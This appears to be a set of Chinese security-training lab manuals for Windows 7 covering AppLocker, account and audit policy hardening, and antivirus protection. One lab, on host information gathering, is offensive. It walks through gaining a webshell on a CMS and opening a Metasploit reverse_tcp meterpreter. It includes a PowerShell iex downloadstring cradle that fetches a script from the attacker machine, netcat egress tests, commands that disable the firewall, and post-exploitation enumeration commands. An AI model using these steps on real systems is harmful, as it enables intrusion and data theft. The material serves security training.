访问控制策略(L1940520022J)
预备知识
Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。
实验环境
操作系统类型:windows 7。
实验步骤一
设置必要的服务并使其自动启动
在windows资源管理器中右键点击计算机
点击管理,点击右侧栏中的服务,选中application identity,在其上点击右键选择属性
在属性窗口中的常规选项卡中点击启动按钮,并把启动类型设置为“自动”。
最后点击确定。
实验步骤二
设置新的普通账户
在windows资源管理器中右键点击计算机
点击管理,在左侧栏中右键点击用户
点击新用户,录入账户、密码,并设置勾选项
实验步骤三
设置限制策略
在“开始”菜单中的运行文本框中,录入“gpedit.msc”,启动“本地组策略编辑器”。
选择“windows设置”-“安全设置”-“应用程序控制策略”-“AppLocker”-“可执行规则”。
在右侧空白窗口中点击右键,选择“创建新规则”。
点下一步,选择拒绝单选项,并点击选择按钮。
点击上图“高级”按钮。
点击“立即查找”按钮。
选择“users”组,点击两次“确定”。
在下图中选择“拒绝”,再在“用户或组”栏点击“选择”来选择具体的组或用户。
点击“下一步”,选择“路径”单选钮。
点击“下一步”。
点击“浏览文件”。
选中system32目录下的notepad.exe文件,点击“打开”按钮
点击“创建”按钮。
点击“是”按钮。
至此,访问控制(限制使用)的策略已经设置完毕。
注意:务必重启计算机或虚拟机,策略才会生效。
实验步骤四
验证限制策略的效果
重新启动系统并以新建的(被拒绝策略限制使用某软件的)用户及密码登录。
试着运行被前面设置的策略决绝=拒绝该用户使用的写字板(notepad)程序。
点击“记事本”程序图标。
Windows7操作系统安全
预备知识
Windows系列是目前世界上使用用户最多的桌面操作系统。由于历史原因,Windows的很多用户都直接以管理员权限运行系统,对计算机安全构成很大隐患。从Windows Vista[lc1] 开始,Windows加强了用户账户控制的管理,使用“用户账户控制”(User Account Control,UAC)模块来管理和限制用户权限。UAC体现了最小特权原则,即在执行任务时使用尽可能少的特权。用户以管理员身份登陆会得到两个令牌:
1)完全访问令牌(需要管理员特别设置权限)
2)标准受限访问令牌(应用程序默认以标准用户令牌运行)
安全审计是整体安全策略的一部分。通过对系统和用户进行充分和适当的审核,就能够在发生安全事故之后帮助发现产生事故的原因,并提供相应的证据。Windows审核子系统与安全决策组件、事件日志服务联合工作,以可靠的方式生成安全事件。安全决策组件通常被称作安全参考监控,当制定了安全决策后或有其他有关安全的活动发生时,监视器就会通知审核子系统,并将活动的细节传给系统。审核系统将这些细节格式化为事件日志。
实验环境
Windows7 操作系统
实验步骤一
账户与口令
(1)删除不再使用的账户,禁用Guest账户。进入“控制面板”→“用户账户和家庭安全”→“用户账户”→“管理其他账户”,如图 1所示。
图 1 未使用和来宾账户
找到未使用的用户,选择“删除账户”,如果确定永久不再使用,那么相应的账户文件也要选择删除;找到“来宾账户”,选择“关闭来宾账户”;更改管理员账户的名称,避免“admin”等简单账户名。
(2)启用账户策略。进入“控制面板”→“管理工具”→“本地安全策略”。
在“账户策略”→“密码策略”中,启用“密码必须符合复杂性要求”和设置“密码长度最小值”提升密码强度;设定“密码最短使用期限”防止短期内入侵者修改密码;设定“密码最长使用期限”提醒用户定期修改密码,防止密码使用时间过长带来的安全问题,如图 2所示。
图 2 密码策略
在“账户策略”→“账户锁定策略”中,设置用户连续登录失败多次,则锁定一段时间,如连续登录失败3次,则锁定30分钟。
在“本地策略”→“安全选项”中,启用“交互式登录:不显示最后的用户名”,防止攻击者从本地或Terminal Service的登录界面看到用户名;启用“网络访问:不允许枚举SAM账户和共享的匿名枚举”,防止攻击者通过空连接匿名枚举出本地所有用户名,如图3所示。
图 3 安全选项
(3)用户和用户组权限管理。任意选择一个文件或者文件夹,右键选择“属性”→“安全”,可以查看到组或用户的管理权限,包括修改、读取和执行、列出内容、读取、写入等,如图4所示。
图 4 查看用户管理权限
点击“高级”,进入高级安全设置,选择需要更改的用户或组,点击“编辑”,在弹出的权限项目中勾选权限允许或者拒绝,如图5所示。
图 5 用户和组高级安全设置
实验步骤二
审核与日志
(1)启用审核。进入“控制面板”→“管理工具”→“本地安全策略”。在“本地策略”→“审核策略”中,选择需要审核的策略,勾选审核的具体操作。例如更改“审核账户管理”,对成功和失败操作都进行审核,如图6所示。
图 6 审核策略
(2)查看日志事件。进入“控制面板”→“管理工具”→“事件查看器”,可以看到“Windows日志”、“应用程序和服务日志”等内容,打开“Windows日志”→“安全”即可查看所有安全事件,如图7所示。
图 7 日志查看
实验步骤三
安全模板
(1)启用安全模板。打开“运行”,输入“mmc”进入系统控制台,进入“文件”“添加/删除管理单元”,添加“安全模板”和“安全配置和分析”,如图8所示。
图 8 添加安全模板
(2)新建安全模板。在“安全模板”中选择“新加模板”,填入名称及描述,建立成功后可以看到该模板下的所有策略,按照不同的需求更改不同的策略项目并保存即可,如图9所示。
图 9 新建安全模板
添加完毕后回到控制台,在“安全配置与分析”项目中,按照提示打开或新建数据库,如图10所示。(此步骤需要系统中存在配置文件才能操作)
图 10 导入安全模板数据库
成功导入数据库后,选择“立即分析计算机”,并设置日志文件路径,系统开始按照上一步中选定的安全模板,以确定当前系统的安全设置是否符合要求,分析完毕后可在目录中选择查看各安全设置的分析结果。选择“立即配置计算机”,则按照所选择的安全模板的要求对当前系统进行配置。
[lc1]Windows Vista" 是微软(Microsoft)发布的操作系统,它是Windows XP之后的一代操作系统。
Windows主机信息收集
实验环境
目标机器:win7、IP:10.1.1.126
攻击机器:kali、IP:10.1.1.144
所需工具请在实验机内下载使用: http://tools.hetianlab.com/tools/HongCMS-tools.zip
实验步骤一
任务描述:获取目标服务器shell
目标首页:
通过对目标网站的敏感目录探测,发现存在admin目录:
访问后发现为目标网站后台:
通过手工枚举的方式用户名和密码为root:root成功进入后台:
接下来就是寻找可以getshell的点:
在模板管理处发现存在任意文件上传且允许上传php,目录也回显给我们了。
同时在语言管理处发现也可以编辑语言文件getshell:
此处我们通过修改语言模板getshell,访问后可能会报权限不足的错误,但是shell是可以运行的:
通过蚁剑连接,获取目标shell
Linux启动蚁剑:
下载工具包后解压antSword-2.1.10和AntSword-Loader-v4.0.3-linux-x64,前一个为蚁剑加载包,后一个为蚁剑主程序。进入AntSword-Loader-v4.0.3-linux-x64启动蚁剑:
这时候需要去初始化蚁剑的工作目录,选择解压后的antSword-2.1.10,然后重启蚁剑。
之后配置要连接的shell:
实验步骤二
任务描述:通过获取的webshell,进行内网信息收集
1. 首先分析进出口的流量是否能连通
协议的判断:场景的TCP、DNS、HTTP、ICMP等协议;
端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123;
TCP协议:
vps: nc -lvvp[lc1] 8888
target: nc 10.1.1.144 8888 (需要通过webshell上传nc)
ICMP协议:
vps:tcpdump icmp
target: ping 10.1.1.144
DNS协议:
vps: nc -u -lvp 53
target :nslookup www.baidu.com 10.1.1.144
HTTP协议:nc -lvvp 80
target: 10.1.1.144 80 (需要上传curl)
将shell反弹到msf上面,因为在webshell下不交互
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 10.1.1.144
msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/misc/hta_server) > set lhost 10.1.1.144
msf exploit(windows/misc/hta_server) > set target 1
msf exploit(windows/misc/hta_server) > exploit -j
2. 用户信息收集
查看本机用户列表:net user
获取本地管理员信息:net localgroup administrators
#查看当前在线用户和会话
quser
query user
query user || qwinsta
查当前用户在目标系统中的具体权限:whoami /all
查看当前权限:whoami && whoami /priv
查当前机器中所有的组名,了解不同组的职能:net localgroup
3. 系统信息收集
查询网络配置信息,进行IP地址段信息收集:ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #英文系统
systeminfo | findstr /B /C:"OS 名称 " /C:"OS 版本 " #中文系统
查看当前系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version
查看系统体系结构:echo %PROCESSOR_ARCHITECTURE%
查询本机服务信息:wmic service list brief
查看安装的软件的版本、路径等:wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
查询进程信息:tasklist
wmic process list brief
查看启动程序信息:wmic startup get command,caption
#查看计划任务
at (win10之前)
schtasks /query /fo LIST /v (win10)
查看主机开机时间:net statistics workstation
列出或断开本地计算机与所连接的客户端的对话:net session
查看远程连接信息:cmdkey /l
查看补丁列表:systeminfo | findstr KB
查看补丁的名称、描述、 ID、安装时间等:wmic qfe getCaption,Description,HotFixID,InstalledOn
查看杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GetdisplayName /Format:List
查看本地密码策略:net accounts
#查看 hosts 文件
Linux:cat /etc/hosts
Windows:type c:\Windows\system32\drivers\etc\hosts
查看dns缓存:ipconfig /displaydns
4. 网络信息收集
查看本机所有的tcp,udp端口连接及其对应的 pid :netstat -ano
查看本机所有的tcp,udp端口连接,pid及其对应的发起程序:netstat -anob
#查看路由表和arp缓存:
route print
arp -a
#查看本机共享列表和可访问的域共享列表(445端口)
net share
wmic share get name,path,status
磁盘映射:net use k: \\10.1.1.144\c$
5. 防火墙信息收集
#关闭防火墙
netsh firewall set opmode disable (Windows Server 2003以前的版本)
netsh advfirewall set allprofiles state off(WindowsServer 2003 以后的版本)
查看防火墙配置:netsh firewall show config (netsh命令也可以用作端口转发)
查看配置规则:netsh advfirewall firewall show rule name=all
6. 代理信息收集(前提目标配置了代理,否则会报错)
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v ProxyServer
#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v AutoConfigURL
7. Powershell脚本
FTP 访问、共享连接、 putty 连接、驱动、应用程序、 hosts 文件、进程、无线网络记录
首先在kali开启http服务:Python3 -m http.server
powershell iex(new-object net.webclient).downloadstring('http://10.1.1.144:8000/Get-Information.ps1');Get-information
8. Metasploit
Scraper模块:
Meterpreter > run scraper
/root/.msf4/logs/scripts/scraper
winenum模块:
meterpreter > run winenum
/root/.msf4/logs/scripts/winenum
[lc1]nc: 这是Netcat命令的缩写,用于在网络上传输数据。
-l: 这个选项表示在监听模式下运行Netcat,也就是让Netcat成为一个监听器,等待传入的连接。
-v: 这是"verbose"(详细)模式的选项,它会显示更多详细信息,通常用于调试目的。
-p 8888: 这个选项指定要监听的端口号。在这个例子中,它是8888,表示Netcat将在端口8888上等待传入的连接。
如何优雅的保护你的系统
实验环境
操作系统:Windows 7 IP地址:随机
所用软件:360安全卫士,沙盒软件(Sandboxie,360沙盒)
实验步骤一
创建安全的系统用户
1、创建非管理员权限的用户
Windows系统从Windows 7。 为了安全考虑开始默认账号并不是管理员账号。但是很多人装的系统并不是原版安装,所以很多人使用的系统账号是管理员账号,这对我们的系统来说是非常不安全的。所以我们要学习如何创建非管理员权限的账号
特别说明:由于实验环境的特殊性,试验机所用的账号是Administrator管理员账号,禁止重启系统。
创建账号最好在系统刚刚装好之后,其他的软件安装使用创建的非管理员账号登录系统后安装。
1)打开“计算机管理”
在“计算机”图标上右键,选择“管理”
2)选择“本地用户和组”
点击“本地用户和组”左边的 + 加号,再点“用户”,就能看到操作系统当前有哪些账号了
3)新建用户:
在空白处右键,选择 “新用户” ,弹出新用户选项卡
填入你想设置的用户名和密码:全名和描述可以随便填写
实验步骤二
对操作系统进行安全防护
1)开启Windows系统防火墙,提供基础保护,此处不演示防火墙高级设置
点击桌面右下角的“网络图标”选择“打开网络和共享中心”
在打开的界面中选择“Windows防火墙”
接着我们可以看到防火墙状态界面:绿色的盾牌表示当前防火墙是开启的
如果是红色的盾牌,表示防火墙未开启:
此时我们可以点:“使用推荐设置”,这样系统就会开启防火墙
2)打开windows update,更新系统补丁
Windows会不定时发布系统漏洞补丁,打开Windows update可以保证能及时更新补丁,当然我们不推荐此法。请往下看
3)安装安全软件,实验环境已安装360安全卫士
在桌面右下角的 360安全卫士的图标上右键选择“查杀修复”
选择”漏洞修复“, “立即修复“即可。
4)利用360杀毒查杀木马病毒
扫描未知文件:
在C盘下有一个看上去不认识的文件夹,我们用360杀毒来扫描是否正常,在文件夹上右键—选择360杀毒扫描(其他杀毒软件同理)
等一会儿就出来结果了,然后点“立即处理“
当然你还可以在整个 C盘上右键选择”使用360杀毒扫描”